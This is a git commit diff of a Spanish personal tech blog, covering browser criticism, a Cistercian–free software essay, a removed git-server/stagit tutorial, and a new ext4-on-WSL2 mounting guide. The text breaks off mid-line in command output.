static-httpd

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

commit bf7ab015c9721f50f42826089535440a3ad9327b
parent 6c7a850b078aaf732449da0db0721671e5eb4d41
Author: fjbalon <fbalon@templier.es>
Date:   Mon,  8 Jun 2026 14:49:36 +0200

Modificación general de errores en artículos

Diffstat:
Marticle.css | 14++++++++++++++
Mbrowser-sucks/index.html | 13+++++++------
Acister-software-libre/imagen1.jpeg | 0
Acister-software-libre/imagen2.jpeg | 0
Acister-software-libre/index.html | 35+++++++++++++++++++++++++++++++++++
Dconstruccion-git/index.html | 203-------------------------------------------------------------------------------
Aext4-wsl2/ext4-windows-wsl2.png | 0
Aext4-wsl2/index.html | 119+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Dgasoil/index.html | 217-------------------------------------------------------------------------------
Mindex.html | 52+++++++++++++++++++++++++++++++++++++++++-----------
Apermisos-unix/index.html | 130+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Dpermissions/index.html | 151------------------------------------------------------------------------------
Apropagacion-malware-script/imagen1.jpeg | 0
Apropagacion-malware-script/imagen2.jpeg | 0
Apropagacion-malware-script/imagen3.jpeg | 0
Apropagacion-malware-script/imagen4.png | 0
Apropagacion-malware-script/index.html | 166+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aselinux/index.html | 58++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aservidor-git-stagit/index.html | 132+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aservidor-git/index.html | 62++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mswap/index.html | 7++-----
Atanque-gasoil/index.html | 220+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Rgasoil/resources/cuboide.png -> tanque-gasoil/resources/cuboide.png | 0
Rgasoil/resources/graph.png -> tanque-gasoil/resources/graph.png | 0
Rgasoil/resources/subcuboide.png -> tanque-gasoil/resources/subcuboide.png | 0
Rgasoil/resources/tanque-gasoil.png -> tanque-gasoil/resources/tanque-gasoil.png | 0
Rgasoil/resources/ultrasonido01.png -> tanque-gasoil/resources/ultrasonido01.png | 0
Rgasoil/resources/ultrasonido02.jpg -> tanque-gasoil/resources/ultrasonido02.jpg | 0
Mxz-liblzma/index.html | 23++++++++++-------------
Ayihad-c/index.html | 25+++++++++++++++++++++++++
30 files changed, 1021 insertions(+), 606 deletions(-)

diff --git a/article.css b/article.css @@ -83,6 +83,20 @@ code { overflow-x: auto; } +codeb { + font-family: monospace; + font-size: inherit; + color: #ffffff; + background-color: #333; + display: block; + padding: 1%; /* más simple */ + + /* Lo importante para wrapping: */ + white-space: pre-wrap; /* mantiene indentación y hace wrap */ + word-break: break-word; /* rompe palabras largas si es necesario */ + overflow-x: hidden; /* o "visible", pero hidden es más limpio */ + overflow-wrap: break-word; /* respaldo moderno */} + emb { font-family: monospace; background-color: #f0f0f0; diff --git a/browser-sucks/index.html b/browser-sucks/index.html @@ -3,18 +3,18 @@ <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> -<title>Todos los navegadores web son basura</title> +<title>La problemática del navegador web</title> <link rel="icon" type="image/png" href="/favicon.png" /> <link rel="stylesheet" type="text/css" href="../article.css" /> </head> <body> <header> -<p class="title">Todos los navegadores web son basura</p> +<p class="title">La problemática del navegador web</p> <p class="date">2 de enero de 2023 • fjbalon</p> </header> -<p>Me he inspirado en el artículo <a href="https://lukesmith.xyz/articles/every-web-browser-absolutely-sucks/">every web browser absolutely sucks</a>, de Luke Smith, con el que -debo decir- estoy radicalmente de acuerdo, tanto que he querido hacer mi propio «browser sucks».</p> -<p>Efectivamente, y según mi opinión y subjetividad, no existe ni un sólo navegador aceptable, ni si quiera pasable, ninguno. Es extraño, pues hacer un navegador aceptable y simple no debería ser, en principio, tan complicado; sin embargo, parece que la comunidad referente a navegadores se empeña en mantener una deriva hacia la complejidad innecesaria, la obtención de información indiscriminada del usuario y la inseguridad como norma general.</p> -<p>Para concretizar más, y siempre desde mi uso y reflexión personal, expongo las que considero características imprescindibles para lo que consideraría un buen navegador web. Empezando primero por que usable y compatible con las características de la web moderna. Desgraciadamente, esto descarta navegadores de interfaz de texto (lynx) y navegadores indies o de nicho (dillo, suckless surf).</p> +<p>Hace poco, Luke Smith escribió en su blog el artículo <a href="https://lukesmith.xyz/articles/every-web-browser-absolutely-sucks/">every web browser absolutely sucks</a>, en el que exploraba superficialmente la problemática del navegador web y exponía lo que para él sería un buen navegador.</p> +<p>Adhiriéndome a Luke Smith, y según mi opinión y subjetividad, <b>creo firmemente que no existe ni un sólo navegador aceptable, ni si quiera pasable</b>, ninguno. Es extraño, pues hacer un navegador aceptable y simple no debería ser, en principio, tan complicado; sin embargo, parece que la comunidad referente a navegadores se empeña en mantener una deriva hacia la complejidad innecesaria, la obtención de información indiscriminada del usuario y la inseguridad como norma general.</p> +<p>Para concretizar más, y siempre desde mi uso y reflexión personal, expongo las que considero características imprescindibles para lo que consideraría un buen navegador web. Empezando primero por que usable y compatible con las características de la web moderna. Desgraciadamente, esto descarta navegadores de interfaz de texto (lynx) y navegadores “indies” o de nicho (dillo, suckless surf).</p> <p>Por razones evidentes, debe ser software libre: considero una locura e imprudencia confiar a un navegador de software privativo la información de navegación, que no sólo constituye el conjunto de páginas visitadas mas la información cargada y descargada de éstas (lo que per se forma un conglomerado de información altamente sensible, como información bancaria, financiera, búsquedas generales, gustos personales que generan perfiles ideológicos, patrones de búsqueda, afinidades, etc.), sino también una gran cantidad de metadatos, referentes a los tiempos de usos, user-agent, sistemas operativos utilizados, las huellas del propio navegador, etc. Además de constituir un riesgo alto de puertas traseras o backdoors, vulnerabilidades, spyware integrado, telemetría desconocida, etc.</p> <p>En relación, el navegador no debe realizar conexiones no solicitadas. Es algo bastante sencillo de cumplir para el programador, pero a su vez, algo excesivamente raro de encontrar hoy en día. Así, las bases del navegador deben tender a la modularización y minimalismo: no quiero mantener en mi equipo fragmentos de código de características que no necesito. Si no quiero almacenar el historial, no sólo no quiero que el historial se encuentre vacío o se elimine al cerrar una sesión o proceso; quiero que en el código base del navegador no exista tal característica (suckless es un buen ejemplo de buenas prácticas al respecto). De hecho, defiendo que existiendo marcadores, el historial web está prácticamente obsoleto para el uso común, y su propia existencia, sea local o remoto, se establece como riesgo a la privacidad.</p> <p>A pesar de ir contracorriente de la tendencia actual, no quiero un ad-block integrado, ya que puede convertirse en vector de ataque, puesto que permiten cambiar el código descargado, incrustar nuevo e incluso ejecutarlo en el navegador, lo que constituye un riesgo para la seguridad y la privacidad. Tampoco quiero VPNs y proxies integrados. Si quiero utilizar alguna de estas herramientas, correrán de mi cuenta. Precisamente, y entendiendo que es un riesgo la permisividad indiscriminada de ejecución de código en cliente (véase <a href="https://www.gnu.org/philosophy/javascript-trap.html">La trampa de JavaScript</a> de Richard Stallman), es deseable una correcta gestión del código, aunque no obligatorio, pues este caso puede subsanarse a través de plugin o programas externos. La gestión de cookies y datos almacenados también debe ser gestionable.</p> @@ -23,6 +23,7 @@ <p>Actualmente, todos los navegadores que he usado crean continua basura desordenada en mi jerarquía de directorios (<emb>~/.pki</emb>, <emb>~/.mozilla</emb>...). Ésto no sólo me molesta, sino que me parece absurdo que no se utilicen los directorios XDG apropiados ¿por qué no utilizan los directorios <emb>~/.config</emb>, <emb>~/.cache</emb>, <emb>~/.local/share</emb>...?.</p> <p>Al hilo, tampoco comprendo como, al menos en la familia Unix, sigamos teniendo navegadores que no cuenten con un archivo de configuración en texto plano. Las ventajas serían abismales, y más en un software tan ampliamente usado hoy día: permite exportar fácilmente la configuración de tu navegador, la cual suele ser compleja y poco intuitiva, requiriendo formularios arcaicos o páginas about. Mantener la configuración en un fichero permitiría además hacerla transportable, escalable, securizable, gitable... El hipotético archivo debería gestionar complementos y características agregadas, fuentes y personalización estética, combinaciones de teclas, marcadores y accesos directos, prefijos de motor de búsqueda, etc. Es algo tan simple de implementar, que no comprendo cómo no existe ningún navegador, al menos que yo conozca, que lo ponga en práctica.</p> <p>A consecuencia, el uso del navegador sería absolutamente personal y simple. Se mejoraría en privacidad y seguridad; y por supuesto en libertad. Y el uso de recursos software-hardware sería más respetuoso. Además, estas características me dotarían, en lo personal, de una mayor eficiencia de uso general del computador, ofreciéndome una cohesión mayor entre las interfaces que suelo utilizar (<a href="../dwm/">gestor de ventanas en mosaico</a>, terminales, múltiples monitores...) y la navegación web.</p> -<p>Actualmente me encuentro utilizando Mozilla Firefox y GNU Icecat de forma simultánea, dejando Firefox para tareas más generales, por ejemplo trabajo; y Icecat para tareas más personales. Icecat es, al fin y al cabo, un fork de Firefox en el que se eliminan y reconfiguran características de spyware al primero (véase la web <a href="https://spyware.neocities.org">spyware.neocities.org</a>, donde se enumeran y califican los niveles de privacidad de distintos programas). Sin embargo, ni se acerca a lo que consideraría un buen navegador. Quizá la mejor opción, en función a las características demandadas en este texto, sea el navegador surf, de suckless; sin embargo, aun no lo he empleado e implementado tanto como para poder independizar el uso del navegador, tampoco he conseguido hacer correr varias webs -que utilizan exceso de programación- en él. A efectos prácticos, considero que el navegador es una de las asignaturas pendientes de las comunidades de software libre y de la informática en general.</p> +<p>Me encuentro, por lo tanto, en una diatriba de uso de navegador. No me gusta ninguno, pero estoy generalmente obligado a utilizarlos. Así, a menudo utilizo Firefox (robustecido por mí), de la infame Mozilla, a veces también GNU Icecat, y a veces incluso Microsoft Edge por trabajo.</p> +<p>Sin embargo, ninguno se acerca a lo que consideraría un navegador aceptable. Quizá la mejor opción, en función a las características demandadas en este texto, sea el navegador surf, de suckless; sin embargo, aun no lo he empleado e implementado tanto como para poder independizar el uso del navegador, tampoco he conseguido hacer correr varias webs -que utilizan exceso de programación- en él. A efectos prácticos, considero que el navegador es una de las asignaturas pendientes de las comunidades de software libre y de la informática en general.</p> </body> </html> \ No newline at end of file diff --git a/cister-software-libre/imagen1.jpeg b/cister-software-libre/imagen1.jpeg Binary files differ. diff --git a/cister-software-libre/imagen2.jpeg b/cister-software-libre/imagen2.jpeg Binary files differ. diff --git a/cister-software-libre/index.html b/cister-software-libre/index.html @@ -0,0 +1,34 @@ +<!DOCTYPE html> +<html> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> +<meta name="viewport" content="width=device-width, initial-scale=1" /> +<title>Los Registros monásticos del Císter como precursores del software libre</title> +<link rel="icon" type="image/png" href="/favicon.png" /> +<link rel="stylesheet" type="text/css" href="../article.css" /> +</head> +<body> +<header> +<p class="title">Los Registros monásticos del Císter como precursores del software libre</p> +<p class="date">27 de marzo de 2026 • fjbalon</p> +</header> +<p>Hay un hecho histórico llamativo, relacionado con la fundación de la Orden Cisterciense (1098) en Cîteaux, Francia: la orden monástica fue fundada por Roberto de Molesmes, y fue una reacción a la relajación a la que había llegado la Orden Benedictina de Cluny, que buscaba volver al espíritu original de la Orden de San Benito y a una estricta observancia de su Regla. El desarrollo de la Orden se debe, en una gran parte, a San Bernardo de Claraval, un monje de grandísima influencia y prestigio, siendo el maestro espiritual de la Orden.</p> +<h2>Expertos técnicos</h2> +<p>Estos monjes se organizaban en abadías y monasterios que, con frecuencia, se levantaban en lugares apartados del bullicio de las ciudades y del mundo secular. Lo que convertía la autonomía y la autosuficiencia en una necesidad para ellos: cada comunidad debía producir su propio alimento, mantener sus edificios y gestionar sus recursos.</p> +<p>Esto impulsó a los monjes a convertirse en hábiles agricultores, arquitectos, ingenieros hidráulicos y artesanos. Desarrollaron técnicas avanzadas de cultivo, sistemas de irrigación, molinos y construcciones que transformaron el paisaje rural europeo. Todo ello se enmarca en el espíritu resumido por la locución latina <i>ora et labora</i>, atribuida tradicionalmente a San Benito de Nursia (aunque realmente es posterior, refleja fielmente el equilibro entre oración y trabajo manual o intelectual).</p> +<img src="imagen1.jpeg" /> +<p>Estos hechos los hacían unos técnicos-artesanos, con gran amor y respeto por el trabajo manual y con un enorme sentido de comunidad; primero a su propia comunidad, y después al resto que conformaban la orden. ¿No os recuerda al usuario de Linux?</p> +<h2>Distribucionismo de la comunidad</h2> +<p>La orden experimentó una expansión espectacular en los siglos XII y XIII, partiendo de la abadía madre de Cîteaux (en la Borgoña, Francia), se extendieron rápidamente por toda Europa occidental. La mayor concentración estaba en Francia, claro, pero hubo una significativa presencia en España, Portugal, Inglaterra, Irlanda, Italia, Países Bajos, Alemania, Austria, Bohemia, Polonia… Incluso llegaron Escocia, Suecia y Tierra Santa (evidentemente explicado usando naciones modernas para no liarnos).</p> +<img src="imagen2.jpeg" /> +<p>Cada abadía nueva era hija de una abadía madre. Por ejemplo, muchas eran hijas de Clairvaux, fundada por San Bernardo. Esto creaba una red de parentesco institucional, dependencia, herencia y observancia entre ellas. Eran comunidades separadas, pero unidas y fuertemente cohesionadas por esta estructura. El abad de la casa madre tenía la obligación de visitar cada año las abadías hijas para inspeccionar que se mantuviera la observancia correcta, corregir abusos y ofrecer apoyo. Era una forma de control y ayuda mutua.</p> +<p>¿Esto no os recuerda al modelo de distribuciones de las comunidades GNU/Linux? ¿al desarrollo de UNIX? ¿a la estructura de distros madres e hijas? ¿Podríamos decir que Clairvaux es Debian? ¿Molesme sería Slackware?</p> +<h2>Registros monásticos y comunicación</h2> +<p>Esta forma de gobierno que, como decimos, favorecía enormemente la comunicación de las comunidades, y gracias a ese entramado y a esa observancia entre ella, provocó una <b>red de conocimiento abierta y estandarizada</b>. Cuando un monasterio resolvía o mejoraba algún proceso o problema técnico, enviaba toda la documentación, explicación, planos… Al resto de órdenes cercanas, y estas a su vez al resto. No existían patentes, licencias, secreto comercial ni propiedad intelectual. Todo ello favorecía el bien de la Orden, el bien común y la mayor Gloria de Dios.</p> +<p>Las visitas de abadías madres a sus hijas, también se empleaban para transmitir estas mejoras y comunicar los problemas técnicos que se encontraban. Así, una vez al año se reunían en el Capítulo General, en Cîteaux, donde los abades compartían avances, problemas resueltos y mucha documentación y planos.</p> +<p>Formaban, literalmente, <b>la primera red continental de innovación abierta y libre</b>.</p> +<p><i>The Medieval Machine</i> (1976, Jean Gimpel) lo describe esto como una verdadera revolución industrial en el medioevo, siendo algunos avances que produjeron la emjora ingeniería hidráulica (sistemas de molino para moler grano, batanar telas, serrar madera, forjar hierro e incluso fabricar papel; sistemas de canales, presas y ruedas hidráulicas complejas), metalurgia avanzada y hornos que permitían producir hierro a mayor escala, mejora de la agricultura y la ganadería mediante rotación de cultivos, drenaje de pantanos y cría selectiva… Esta difusión masiva de tecnología sin barreras aceleró el crecimiento económica de Europa muy significativamente entre los siglos XII y XIII.</p> +<p>¿No os evoca a la red de conocimiento libre que supone el software libre y el código abierto? ¿no veis en esta forma de compartir conocimiento un igual a la forma en la que lo hacemos las comunidades actuales? Licencias libres, licencia MIT, código compartido por git, en foros, desarrolladores compartiendo código por todo el mundo en tiempo real, estándares abiertos como Linux, HTTP, servidores, comunidades distribuidas…</p> +<p>Y además, la similitud entre la explosión tecnológica en ese tiempo con la explosión tecnológica que supuso la evolución de UNIX, la creación de Linux, su unión a GNU, la adopción masiva por servidores, industria… Desde luego a mí, me parece sobradamente íntimo y similar.</p> +</body> +</html> +\ No newline at end of file diff --git a/construccion-git/index.html b/construccion-git/index.html @@ -1,202 +0,0 @@ -<!DOCTYPE html> -<html> -<head> -<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> -<meta name="viewport" content="width=device-width, initial-scale=1" /> -<title>Construcción de servidor Git propio</title> -<link rel="icon" type="image/png" href="/favicon.png" /> -<link rel="stylesheet" type="text/css" href="../article.css" /> -</head> -<body> -<header> -<p class="title">Construcción de servidor Git propio</p> -<p class="date">22 de noviembre de 2020 • fjbalon</p> -</header> -<p>Una buena razón para alojar tus propios repositorios git es tener y mantener el control sobre tu propia infraestructura informática, tanto a nivel de sistema como a nivel de código, guardando incluso el secreto de aquellos códigos que quieras mantener en secreto. Considero que los servidores de git comúnmente utilizados como github, gitlab, bitbucket... No son de fiar, en cuanto son propietarios desconocidos y sostenedores de tu código. No es secreto que estos servicios analizan el código, aplican telemetría e inteligencia sobre ellos, analizan las conexiones de sus usuarios y aplican restricciones y limitaciones. Al fin y al cabo son empresas con fines comerciales, y a menudo en el sistema actual con fines ocultos. En el caso de Microsoft, como propietario de github es mucho más lamentable y peligrosa la situación.</p> -<p>En cuanto a economía doméstica, estos servicios también tienen diferentes planes de precios y varias restricciones (arbitrarias en muchos casos). Sin embargo cuando usted mismo lo aloja, las restricciones son los límites de recursos del sistema y su conexión, por lo tanto, es una solución mucho más flexible, adaptada y convergente con el usuario.</p> - - <h1>Creación de servidor git - ssh</h1> -<p>El primer paso sería crear el usuario git, encargado de gestionar todos los procesos referentes a los repositorios y al servidor. Además, con el objetivo de dotar acceso mediante SSH añadimos authorized_keys y añadimos al fichero las claves públicas de los clientes.</p> - -<pre><code># adduser git -# su git -$ cd -$ mkdir .ssh && chmod 700 .ssh -$ touch .ssh/authorized_keys -$ chmod 600 .ssh/authorized_keys</code></pre> -<p>Los repositorios pueden estar en el directorio que se quiera. En este caso, se encontrarán en el directorio git en la raíz del sistema. Para lo que tendremos que crearlo. Por cada repositorio, se crea un directorio (aconsejable es que terminen con .git). Para iniciar un repositorio como server usamos el parámetro init --bare.</p> - -<pre><code>$ mkdir /git -$ cd /git -$ mkdir code.git -$ chown git:git code.git -$ cd code.git -$ git init --bare -Initialized empty Git repository in /git/code.git/</code></pre> - - <h1>Publicando repositorios</h1> -<p>El proceso anterior acepta comunicación SSH, por lo que el cliente necesitará o bien acceso por clave o acceso mediante RSA. En caso que queramos que alguno de estos repositorios sean clonables desde cualquier comunicación, y usando el eficiente protocolo git://, debemos publicarlos.</p> -<p>Para ello empleamos git-daemon, indicándole el directorio donde se encuentran los repositorios.</p> - -<pre><code>$ git daemon --reuseaddr --base-path=/git/ /git/</code></pre> -<p>Esto no basta para publicar el repositorio, ya que el demonio de git iterará en el directorio anteriormente pasado en busca de repositorios exportables, éstos son aquellos que tengan el fichero git-daemon-export-ok en su raíz.</p> - -<pre><code>$ touch /git/code.git/git-daemon-export-ok</code></pre> - - <h1>Externalización con stagit</h1> -<p>A veces es agradable navegar por el registro del historial de git en un navegador web o en algún otro programa sin tener que mirar el repositorio local. Es además una forma de mantener un registro de los repositorios que sean públicos, a modo de currículum o expositor de código.</p> -<p>Para ello uso <a href="https://codemadness.org/git/stagit">stagit</a>, que es un static page generator para git. Su uso es simple. Manualmente consta de dos partes, que son la creación de directorios html (que deben ser accesibles mediante servidor web) y su enlace con el directorio del servidor git:</p> - -<pre><code>$ mkdir -p /srv/git/htmlrepo1 && cd /srv/git/htmlrepo1 -$ stagit /git/gitrepo1</code></pre> -<p>Y la formación del índice y el htmlroot:</p> - -<pre><code>$ cd /srv/git -$ stagit-index /git/gitrepo1 /git/gitrepo2 /git/gitrepo3 > index.html</code></pre> -<p>Ejemplos de resultados son:</p> -<ul> -<li><a href="/git/">balong.es/git</a></li> -<li><a href="https://codemadness.org/git/">codemadness.org/git</a></li> -<li><a href="https://git.suckless.org/">git.suckless.org</a></li> -</ul> -<p>Para automatizar la actualización del directorio en función de los cambios de push añadimos a htmlroot (/srv/git) el script:</p> - -<pre><code># /srv/git/create.sh -reposdir="/git" -curdir="$(pwd)" - -# make index. -stagit-index "${reposdir}/"*/ > "${curdir}/index.html" - -# make files per repo. -for dir in "${reposdir}/"*/; do - # strip .git suffix. - r=$(basename "${dir}") - d=$(basename "${dir}" ".git") - printf "%s... " "${d}" - - mkdir -p "${curdir}/${d}" - cd "${curdir}/${d}" || continue - stagit -c ".cache" -u "/git/$d/" "${reposdir}/${r}" - - # symlinks - ln -sf log.html index.html - ln -sf ../style.css style.css - ln -sf ../logo.png logo.png - ln -sf ../favicon.png favicon.png - - echo "done" -done</code></pre> -<p>Por supuesto, el script anterior debe contar con permisos de ejecución; y el directorio htmlroot debe tener permisos adecuados para su manipulación, que siendo en este caso el usuario git el que genere de nuevo los HTML, debería éste tener permisos totales.</p> - -<pre><code>drwxr-xr-x 19 git git 4096 Dec 14 15:46 git</code></pre> -<p>Además, por cada repositorio del servidor debemos añadir el hook post-receive tal que:</p> - -<pre><code>#!/bin/sh -# /git/code.git/hooks/post-receive - -export LC_CTYPE="en_US.UTF-8" - -name="$1" -if test "${name}" = ""; then - name=$(basename "$(pwd)") -fi - -# config -# paths must be absolute. -reposdir="/git" -dir="${reposdir}/${name}" -htmldir="/srv/git" -stagitdir="/" -destdir="${htmldir}${stagitdir}" -cachefile=".htmlcache" -# /config - -if ! test -d "${dir}"; then - echo "${dir} does not exist" >&2 - exit 1 -fi -cd "${dir}" || exit 1 - -# detect git push -f -force=0 -while read -r old new ref; do - test "${old}" = "0000000000000000000000000000000000000000" && continue - test "${new}" = "0000000000000000000000000000000000000000" && continue - - hasrevs=$(git rev-list "${old}" "^${new}" | sed 1q) - if test -n "${hasrevs}"; then - force=1 - break - fi -done - -# strip .git suffix. -r=$(basename "${name}") -d=$(basename "${name}" ".git") -printf "[%s] stagit HTML pages... " "${d}" - -mkdir -p "${destdir}/${d}" -cd "${destdir}/${d}" || exit 1 - -# remove commits and ${cachefile} on git push -f, this recreated later on. -if test "${force}" = "1"; then - rm -f "${cachefile}" - rm -rf "commit" -fi - -# make index. -stagit-index "${reposdir}/"*/ > "${destdir}/index.html" - -# make pages. -stagit -c "${cachefile}" -u "/git/$d/" "${reposdir}/${r}" - -ln -sf log.html index.html -ln -sf ../style.css style.css -ln -sf ../logo.png logo.png - -echo "done"</code></pre> - -<pre><code>$ chmod +x hook/post-receive</code></pre> -<p>Lo que hará que en cada push recibido, el contenido HTML de stagit se actualice. Para una correcta impresión de los datos, es necesario que cada directorio de repositorio tenga en su raíz los ficheros owner, description y url:</p> - -<pre><code>$ cd /git/code -$ echo "Fco Javier Balón" > owner -$ echo "Description code" > description -$ echo "git://balong.es/code.git" > url</code></pre> -<p>Las imágenes por defecto empleadas son favicon.png y logo.png, que irán en la raíz de htmlroot (/srv/git). También style.css.</p> - -<pre><code>$ cp stagit/style.css /srv/git/ -$ cp stagit/favicon.png /srv/git/ -$ cp stagit/logo.png /srv/git/</code></pre> - - <h1>Autodespliegue con hooks</h1> -<p>En este ejemplo damos al hook post-receive del repositorio del sitio web la capacidad de autodesplegarse al recibir push. </p> - -<pre><code>#!/bin/sh -# /git/arrakis.git/hooks/post-receive - -echo "Ejecutando hook postreicive: desplegando a producción el static-site" -git --work-tree=/srv/http --git-dir=/tex/arrakis.git checkout -f master</code></pre> -<p>Por supuesto, los permisos del directorio htmlroot deben tener los permisos para git.</p> - -<pre><code>drwxr-xr-x 3 git git 4096 Dec 14 15:53 http</code></pre> - - <h1>Configuración de cliente</h1> - <pre><code>$ git config --global user.name "balon" -$ git config --global user.email fcojavierba@protonmail.com -$ git config --global core.editor emacs</code></pre> - -<pre><code># ~/.gitconfig -[user] - email = fcojavierba@protonmail.com - name = balon -[core] - editor = emacs</code></pre> -<p>La descarga mediante ssh y git-daemon se hará tal que:</p> - -<pre><code>$ git clone git@balong.es:/git/code.git -$ git clone git://balong.es/code.git</code></pre> - -</body> -</html> -\ No newline at end of file diff --git a/ext4-wsl2/ext4-windows-wsl2.png b/ext4-wsl2/ext4-windows-wsl2.png Binary files differ. diff --git a/ext4-wsl2/index.html b/ext4-wsl2/index.html @@ -0,0 +1,118 @@ +<!DOCTYPE html> +<html> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> +<meta name="viewport" content="width=device-width, initial-scale=1" /> +<title>Montaje de sistema de archivos ext4 a través de WSL2</title> +<link rel="icon" type="image/png" href="/favicon.png" /> +<link rel="stylesheet" type="text/css" href="../article.css" /> +</head> +<body> +<header> +<p class="title">Montaje de sistema de archivos ext4 a través de WSL2</p> +<p class="date">5 de junio de 2026 • fjbalon</p> +</header> +<p>En un artículo algo extraño para lo que lo que suelo escribir, enfocado en el sistema de Microsoft Windows. Tranquilícese el lector, incluso encuadrando el artículo a través del sistema operativo ajeno a las buenas costumbres, no se trata de él mismo, sino que sigue tratándose de Linux por:</p> +<p>a. los formatos de sistemas de archivos transaccionales ext2, ext3 o ext4, pertenecientes nativamente al kernel de Linux desde la introducción en 1993 de ext2, y</p> +<p>b. WSL2 que no es si quiera una capa de compatibilidad con el kernel, como era WSL; sino que ofrece un kernel de Linux a través de virtualización, con llamadas a la API del kernel.</p> +<p>Si hubiera alguna categoría para ello creo que las más adecuadas sería +compatibilidad o virtualización. Ya que, por trabajo, he tenido la necesidad de montar un de mis discos duros externos, que suelo llevar formateados con el sistema de archivos ext4, en un sistema Windows.</p> +<p>Obviando la blasfemia, con un poco de humor, creo que los pasos a realizar pueden ser de interés para muchos. Ya que, no lo sabía, no existe compatibilidad nativa en Windows para montar estos sistemas de archivos. Y no basta, como en GNU/Linux, con instalar un paquete de compatibilidad para montar, por ejemplo, NTFS.</p> +<p>Entonces, ¿cómo puedo utilizar mi disco ext4 en un sistema Windows incompatible? Hay softwares de terceros que se pueden buscar e instalar, pero de primeras lo evitaría. Primero, por seguridad; ya bastante inseguro es Windows como para que le metamos más códigos cerrados y obtusos para pequeñas funcionalidades; además que crea aun más basura en un sistema tan sucio, estructural y organizativamente hablando. Por ello, he optado por utilizar WSL o Windows Subsystem Linux que, para quien no lo sepa, es una implementación de Windows relativamente reciente que permite ejecutar un entorno, más o menos virtualizado, de Linux en una máquina Windows. Como decía antes, de hecho, WSL2 ofrece directamente un núcleo de Linux optimizado por Microsoft.</p> +<p>De ahí, lo primero necesario es tener actualizado WSL2 con una distribución Linux, en mi caso, Debian:</p> +<pre><code>C:\>wsl --mount PATH +Esta operación solo es compatible con WSL2 + +C:\>wsl.exe --update +Instalando: Subsistema de Windows para Linux +Se ha instalado Subsistema de Windows para Linux. + +C:\>wsl.exe --list --online + +A continuación, se muestra una lista de las distribuciones válidas que se pueden instalar. +Instalar con "wsl.exe --install <Distro>". + +NAME FRIENDLY NAME +AlmaLinux-8 AlmaLinux OS 8 +AlmaLinux-9 AlmaLinux OS 9 +AlmaLinux-Kitten-10 AlmaLinux OS Kitten 10 +Debian Debian GNU/Linux +SUSE-Linux-Enterprise-15-SP5 SUSE Linux Enterprise 15 SP5 +SUSE-Linux-Enterprise-15-SP6 SUSE Linux Enterprise 15 SP6 +Ubuntu Ubuntu +Ubuntu-24.04 Ubuntu 24.04 LTS +kali-linux Kali Linux Rolling +openSUSE-Tumbleweed openSUSE Tumbleweed +openSUSE-Leap-15.6 openSUSE Leap 15.6 +Ubuntu-18.04 Ubuntu 18.04 LTS +Ubuntu-20.04 Ubuntu 20.04 LTS +Ubuntu-22.04 Ubuntu 22.04 LTS +OracleLinux_7_9 Oracle Linux 7.9 +OracleLinux_8_7 Oracle Linux 8.7 +OracleLinux_9_1 Oracle Linux 9.1 + +C:\>wsl.exe --install Debian + +Descargando: Debian GNU/Linux +[========================= 43,4% ]</code></pre> +<p>También es necesario habilitar la característica de Virtual Machine Platform, si no lo hubiera.</p> +<pre><code>dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart</code></pre> +<p>Entonces podemos descubrir el disco y lo montamos a través de WSL, para los unixeros, estamos haciendo el equivalente de Windows a lsblk y mount:</p> +<pre><code>wmic diskdrive list brief +Caption DeviceID Model Partitions Size +KBG50ZNS512G NVMe KIOXIA 512GB \\.\PHYSICALDRIVE0 KBG50ZNS512G NVMe KIOXIA 512GB 3 512105932800 +sobetter EXT SCSI Disk Device \\.\PHYSICALDRIVE1 sobetter EXT SCSI Disk Device 1 500105249280 + +C:\Windows\System32>wsl --mount \\.\PHYSICALDRIVE1 --partition 1 + +El disco se montó correctamente como "/mnt/wsl/PHYSICALDRIVE1p1". +Nota: La ubicación será diferente si ha modificado la configuración de automount.root en /etc/wsl.conf. +Para desmontar y desasociar el disco, ejecute "wsl.exe --unmount \\.\PHYSICALDRIVE1".</code></pre> +<img src="ext4-windows-wsl2.png" /> +<p>Y con esto, podemos usar nuestros discos en Windows de forma prácticamente nativa, sin necesidad de instalar software de terceros a parte.</p> +<p>Pero, ¿y si no queremos montar un disco duro sino un pendrive o memoria flash?</p> +<p>En un inicio intenté hacer lo mismo, ¿pero cuál fue mi sorpresa? resulta que el procedimiento ya descrito <a href="https://github.com/microsoft/WSL/issues/6011">no sirve con pendrives</a>.</p> +<p>Por lo que hay que buscar otra alternativa... Me hablan de <a href="https://github.com/dorssel/usbipd-win/releases">usbipd-win</a>, una utilidad para compartir USB entre la máquina Windows anfitriona, Hyper-V y WSL2.</p> +<p>De esta forma, puedo listar los USB conectados:</p> +<pre><code>PS C:\WINDOWS\system32> usbipd.exe list +Connected: +BUSID VID:PID DEVICE STATE +2-6 0bda:5570 Integrated Webcam, Integrated IR Webcam, Camera DFU Device Not shared +2-8 0a5c:5843 Dell ControlVault w/ Fingerprint Touch Sensor, Lector de ... Not shared +2-10 8087:0033 Intel(R) Wireless Bluetooth(R) Not shared +2-15 346d:3281 Dispositivo de almacenamiento USB Not shared +3-2 05e3:0754 Dispositivo de almacenamiento USB Not shared +4-1 413c:301a Dispositivo de entrada USB Not shared +4-3 2109:0100 USB 2.0 BILLBOARD Not shared +4-4 03f0:0324 Dispositivo de entrada USB Not shared +4-5 2109:8888 USB Billboard Device Not shared</code></pre> +<p>Identifico mi pendrive como si de <emb>/dev</emb> se tratara, siendo <emb>2-15, 346d:3281, Dispositivo de almacenamiento USB</emb>, y mediante el <emb>BUSID</emb> lo comparto y paso a WSL:</p> +<pre><code>usbipd bind --busid 2-15 +usbipd attach --wsl --busid 2-15 + +usbipd: info: Using WSL distribution 'Debian' to attach; the device will be available in all WSL 2 distributions. +usbipd: info: Loading vhci_hcd module. +usbipd: 